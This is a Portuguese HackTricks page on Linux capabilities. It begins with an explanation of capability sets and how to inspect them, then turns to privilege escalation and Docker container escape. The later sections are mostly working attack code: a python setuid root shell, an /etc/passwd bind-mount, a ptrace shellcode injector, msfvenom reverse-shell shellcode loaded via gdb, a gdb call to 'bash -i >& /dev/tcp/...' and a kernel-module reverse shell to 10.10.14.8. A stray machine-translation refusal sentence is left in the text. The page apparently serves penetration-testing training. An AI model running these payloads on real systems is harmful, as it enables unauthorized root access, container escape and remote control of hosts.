71 KiB
Capacidades do Linux
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.\
{% embed url="https://www.rootedcon.com/" %}
Por que capacidades?
As capacidades do Linux fornecem um subconjunto dos privilégios de root disponíveis para um processo. Isso efetivamente divide os privilégios de root em unidades menores e distintas. Cada uma dessas unidades pode então ser concedida independentemente aos processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.
Para entender melhor como as capacidades do Linux funcionam, vamos primeiro olhar para o problema que tenta resolver.
Vamos supor que estamos executando um processo como um usuário normal. Isso significa que somos não privilegiados. Podemos acessar apenas dados que são de nossa propriedade, do nosso grupo ou que estão marcados para acesso por todos os usuários. Em algum momento, nosso processo precisa de um pouco mais de permissões para cumprir suas funções, como abrir um socket de rede. O problema é que usuários normais não podem abrir um socket, pois isso requer permissões de root.
Conjuntos de Capacidades
Capacidades Herdadas
CapEff: O conjunto de capacidades efetivas representa todas as capacidades que o processo está usando no momento (este é o conjunto real de capacidades que o kernel usa para verificações de permissão). Para capacidades de arquivo, o conjunto efetivo é, de fato, um único bit indicando se as capacidades do conjunto permitido serão movidas para o conjunto efetivo ao executar um binário. Isso permite que binários que não estão cientes de capacidades façam uso de capacidades de arquivo sem emitir chamadas de sistema especiais.
CapPrm: (Permitido) Este é um superconjunto de capacidades que a thread pode adicionar aos conjuntos permitidos ou herdáveis da thread. A thread pode usar a chamada de sistema capset() para gerenciar capacidades: Ela pode descartar qualquer capacidade de qualquer conjunto, mas só pode adicionar capacidades aos seus conjuntos efetivos e herdados da thread que estão no seu conjunto permitido da thread. Consequentemente, ela não pode adicionar nenhuma capacidade ao seu conjunto permitido da thread, a menos que tenha a capacidade cap_setpcap no seu conjunto efetivo da thread.
CapInh: Usando o conjunto herdado, todas as capacidades que são permitidas ser herdadas de um processo pai podem ser especificadas. Isso impede que um processo receba quaisquer capacidades de que não precise. Este conjunto é preservado através de um execve
e geralmente é definido por um processo recebendo capacidades, em vez de por um processo que está distribuindo capacidades para seus filhos.
CapBnd: Com o conjunto limitante, é possível restringir as capacidades que um processo pode receber. Apenas capacidades que estão presentes no conjunto limitante serão permitidas nos conjuntos herdáveis e permitidos.
CapAmb: O conjunto de capacidades ambiente se aplica a todos os binários não-SUID sem capacidades de arquivo. Ele preserva capacidades ao chamar execve
. No entanto, nem todas as capacidades no conjunto ambiente podem ser preservadas porque são descartadas caso não estejam presentes nos conjuntos herdável ou permitido. Este conjunto é preservado através de chamadas execve
.
Para uma explicação detalhada da diferença entre capacidades em threads e arquivos e como as capacidades são passadas para threads, leia as seguintes páginas:
- https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work
- https://blog.ploetzli.ch/2014/understanding-linux-capabilities/
Capacidades de Processos & Binários
Capacidades de Processos
Para ver as capacidades de um processo específico, use o arquivo status no diretório /proc. Como ele fornece mais detalhes, vamos limitá-lo apenas às informações relacionadas às capacidades do Linux.
Note que para todos os processos em execução, as informações de capacidade são mantidas por thread, para binários no sistema de arquivos, elas são armazenadas em atributos estendidos.
Você pode encontrar as capacidades definidas em /usr/include/linux/capability.h
Você pode encontrar as capacidades do processo atual em cat /proc/self/status
ou fazendo capsh --print
e de outros usuários em /proc/<pid>/status
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
Este comando deve retornar 5 linhas na maioria dos sistemas.
- CapInh = Capacidades herdadas
- CapPrm = Capacidades permitidas
- CapEff = Capacidades efetivas
- CapBnd = Conjunto limitador
- CapAmb = Conjunto de capacidades ambiente
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Esses números hexadecimais não fazem sentido. Usando a utilidade capsh, podemos decodificá-los para o nome das capacidades.
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Vamos verificar agora as capabilities usadas pelo ping
:
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
Embora isso funcione, existe outra maneira mais fácil. Para ver as capacidades de um processo em execução, simplesmente use a ferramenta getpcaps seguida pelo seu ID de processo (PID). Você também pode fornecer uma lista de IDs de processo.
getpcaps 1234
Vamos verificar aqui as capacidades do tcpdump
após conceder ao binário capacidades suficientes (cap_net_admin
e cap_net_raw
) para farejar a rede (o tcpdump está rodando no processo 9562):
#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
Como você pode ver, as capacidades dadas correspondem aos resultados das 2 maneiras de obter as capacidades de um binário. A ferramenta getpcaps usa a chamada de sistema capget() para consultar as capacidades disponíveis para uma determinada thread. Esta chamada de sistema só precisa fornecer o PID para obter mais informações.
Capacidades dos Binários
Binários podem ter capacidades que podem ser usadas durante a execução. Por exemplo, é muito comum encontrar o binário ping
com a capacidade cap_net_raw
:
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
Você pode procurar binários com capacidades usando:
getcap -r / 2>/dev/null
Descartando capacidades com capsh
Se descartarmos as capacidades CAP_NET_RAW para ping, então a utilidade ping não deve mais funcionar.
capsh --drop=cap_net_raw --print -- -c "tcpdump"
Além da saída do próprio capsh, o comando tcpdump também deve gerar um erro.
/bin/bash: /usr/sbin/tcpdump: Operação não permitida
O erro mostra claramente que o comando ping não tem permissão para abrir um socket ICMP. Agora sabemos com certeza que isso funciona como esperado.
Remover Capacidades
Você pode remover capacidades de um binário com
setcap -r </path/to/binary>
Capacidades de Usuário
Aparentemente é possível atribuir capacidades também a usuários. Isso provavelmente significa que todo processo executado pelo usuário poderá usar as capacidades do usuário.
Baseado em isto, isto e isto alguns arquivos precisam ser configurados para conceder a um usuário certas capacidades, mas o arquivo que atribui as capacidades a cada usuário será /etc/security/capability.conf
.
Exemplo de arquivo:
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
Capacidades do Ambiente
Compilando o seguinte programa é possível gerar um shell bash dentro de um ambiente que fornece capacidades.
{% code title="ambient.c" %}
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
Since there is no English text provided to translate, I cannot perform a translation. If you provide the relevant English text, I will be able to translate it into Portuguese for you. Please ensure the text adheres to the guidelines you've specified.
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
Dentro do bash executado pelo binário ambient compilado, é possível observar as novas capacidades (um usuário comum não terá nenhuma capacidade na seção "atual").
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
{% hint style="danger" %} Você pode adicionar apenas capacidades que estão presentes tanto no conjunto permitido quanto no hereditário. {% endhint %}
Binários cientes de capacidades/Binários ignorantes de capacidades
Os binários cientes de capacidades não usarão as novas capacidades concedidas pelo ambiente, no entanto, os binários ignorantes de capacidades usarão as mesmas, pois não as rejeitarão. Isso torna os binários ignorantes de capacidades vulneráveis dentro de um ambiente especial que concede capacidades aos binários.
Capacidades de Serviço
Por padrão, um serviço executado como root terá todas as capacidades atribuídas, e em algumas ocasiões isso pode ser perigoso.
Portanto, um arquivo de configuração de serviço permite especificar as capacidades que você deseja que ele tenha, e o usuário que deve executar o serviço para evitar rodar um serviço com privilégios desnecessários:
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
Capacidades em Containers Docker
Por padrão, o Docker atribui algumas capacidades aos containers. É muito fácil verificar quais são essas capacidades executando:
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro efervescente para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Privesc/Container Escape
Capabilities são úteis quando você deseja restringir seus próprios processos após realizar operações privilegiadas (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas passando comandos ou argumentos maliciosos que são então executados como root.
Você pode forçar capabilities em programas usando setcap
, e consultar estas usando getcap
:
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
O `+ep` significa que você está adicionando a capacidade ("-" removeria) como Efetiva e Permitida.
Para identificar programas em um sistema ou pasta com capacidades:
getcap -r / 2>/dev/null
Exemplo de exploração
No exemplo a seguir, o binário /usr/bin/python2.6
é encontrado vulnerável a privesc:
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
Capacidades necessárias pelo tcpdump
para permitir que qualquer usuário capture pacotes:
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
O caso especial de capacidades "vazias"
Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa com set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere nenhuma capacidade a esse processo. Ou, em outras palavras, se você tem um binário que:
- não é de propriedade do root
- não tem bits
SUID
/SGID
configurados - tem um conjunto de capacidades vazio (ex.:
getcap myelf
retornamyelf =ep
)
então esse binário será executado como root.
CAP_SYS_ADMIN
CAP_SYS_ADMIN é em grande parte uma capacidade abrangente, ela pode facilmente levar a capacidades adicionais ou ao root completo (tipicamente acesso a todas as capacidades). CAP_SYS_ADMIN
é necessário para realizar uma série de operações administrativas, o que é difícil de remover de containers se operações privilegiadas são realizadas dentro do container. Manter essa capacidade é muitas vezes necessário para containers que imitam sistemas inteiros versus containers de aplicações individuais que podem ser mais restritivos. Entre outras coisas, isso permite montar dispositivos ou abusar de release_agent para escapar do container.
Exemplo com binário
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
Usando python, você pode montar um arquivo passwd modificado por cima do arquivo passwd real:
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
E finalmente monte o arquivo passwd
modificado em /etc/passwd
:
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
E você poderá su
como root usando a senha "password".
Exemplo com ambiente (Docker breakout)
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Dentro do output anterior, você pode ver que a capacidade SYS_ADMIN está ativada.
- Mount
Isso permite que o container docker monte o disco do host e acesse livremente:
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
- Acesso total
No método anterior, conseguimos acessar o disco do host docker.
Caso você descubra que o host está executando um servidor ssh, você poderia criar um usuário dentro do disco do host docker e acessá-lo via SSH:
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
CAP_SYS_PTRACE
Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host. Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com --pid=host
.
CAP_SYS_PTRACE permite o uso de chamadas de sistema ptrace(2)
e chamadas de sistema de anexação de memória cruzada recentemente introduzidas, como process_vm_readv(2)
e process_vm_writev(2)
. Se essa capacidade for concedida e a chamada de sistema ptrace(2)
em si não for bloqueada por um filtro seccomp, isso permitirá que um atacante contorne outras restrições seccomp, veja PoC para contornar seccomp se ptrace for permitido ou o seguinte PoC:
Exemplo com binário (python)
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
Exemplo com binário (gdb)
gdb
com capacidade ptrace
:
/usr/bin/gdb = cap_sys_ptrace+ep
Criar um shellcode com msfvenom para injetar na memória via gdb
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"
# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
Depure um processo root com gdb e copie-cole as linhas geradas anteriormente pelo gdb:
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
Exemplo com ambiente (Docker breakout) - Outro abuso do GDB
Se o GDB estiver instalado (ou você puder instalá-lo com apk add gdb
ou apt install gdb
, por exemplo), você pode depurar um processo do host e fazê-lo chamar a função system
. (Esta técnica também requer a capacidade SYS_ADMIN
).**
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
Você não será capaz de ver a saída do comando executado, mas ele será executado por aquele processo (então obtenha um shell reverso).
{% hint style="warning" %} Se você receber o erro "No symbol "system" in current context.", verifique o exemplo anterior carregando um shellcode em um programa via gdb. {% endhint %}
Exemplo com ambiente (Docker breakout) - Injeção de Shellcode
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
Liste processos em execução no host ps -eaf
- Obtenha a arquitetura
uname -m
- Encontre um shellcode para a arquitetura (https://www.exploit-db.com/exploits/41128)
- Encontre um programa para injetar o shellcode na memória de um processo (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
- Modifique o shellcode dentro do programa e compile-o
gcc inject.c -o inject
- Injete e obtenha seu shell:
./inject 299; nc 172.17.0.1 5600
CAP_SYS_MODULE
CAP_SYS_MODULE permite que o processo carregue e descarregue módulos do kernel arbitrários (chamadas de sistema init_module(2)
, finit_module(2)
e delete_module(2)
). Isso pode levar a uma escalada de privilégios trivial e comprometimento do anel-0. O kernel pode ser modificado à vontade, subvertendo toda a segurança do sistema, Módulos de Segurança Linux e sistemas de contêineres.
Isso significa que você pode inserir/remover módulos do kernel no/do kernel da máquina host.
Exemplo com binário
No exemplo a seguir, o binário python
possui essa capacidade.
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
Por padrão, o comando modprobe
verifica a lista de dependências e arquivos de mapeamento no diretório /lib/modules/$(uname -r)
.
Para abusar disso, vamos criar uma pasta lib/modules falsa:
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
Então compile o módulo do kernel que você pode encontrar 2 exemplos abaixo e copie para esta pasta:
cp reverse-shell.ko lib/modules/$(uname -r)/
Finalmente, execute o código Python necessário para carregar este módulo do kernel:
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
Exemplo 2 com binário
No exemplo a seguir, o binário kmod
possui essa capacidade.
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
O que significa que é possível usar o comando **`insmod`** para inserir um módulo no kernel. Siga o exemplo abaixo para obter um **reverse shell** abusando desse privilégio.
**Exemplo com ambiente (Docker breakout)**
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Dentro do output anterior, você pode ver que a capacidade SYS_MODULE está habilitada.
Crie o módulo do kernel que executará um shell reverso e o Makefile para compilá-lo:
{% code title="reverse-shell.c" %}
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
{% endcode %}
{% code title="Makefile" %}
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
{% endcode %}
{% hint style="warning" %} O caractere em branco antes de cada palavra make no Makefile deve ser um tab, não espaços! {% endhint %}
Execute make
para compilá-lo.
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
Finalmente, inicie nc
dentro de um shell e carregue o módulo de outro, e você capturará o shell no processo nc:
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
O código desta técnica foi copiado do laboratório "Abusing SYS_MODULE Capability" de https://www.pentesteracademy.com/
Outro exemplo desta técnica pode ser encontrado em https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host
CAP_DAC_READ_SEARCH
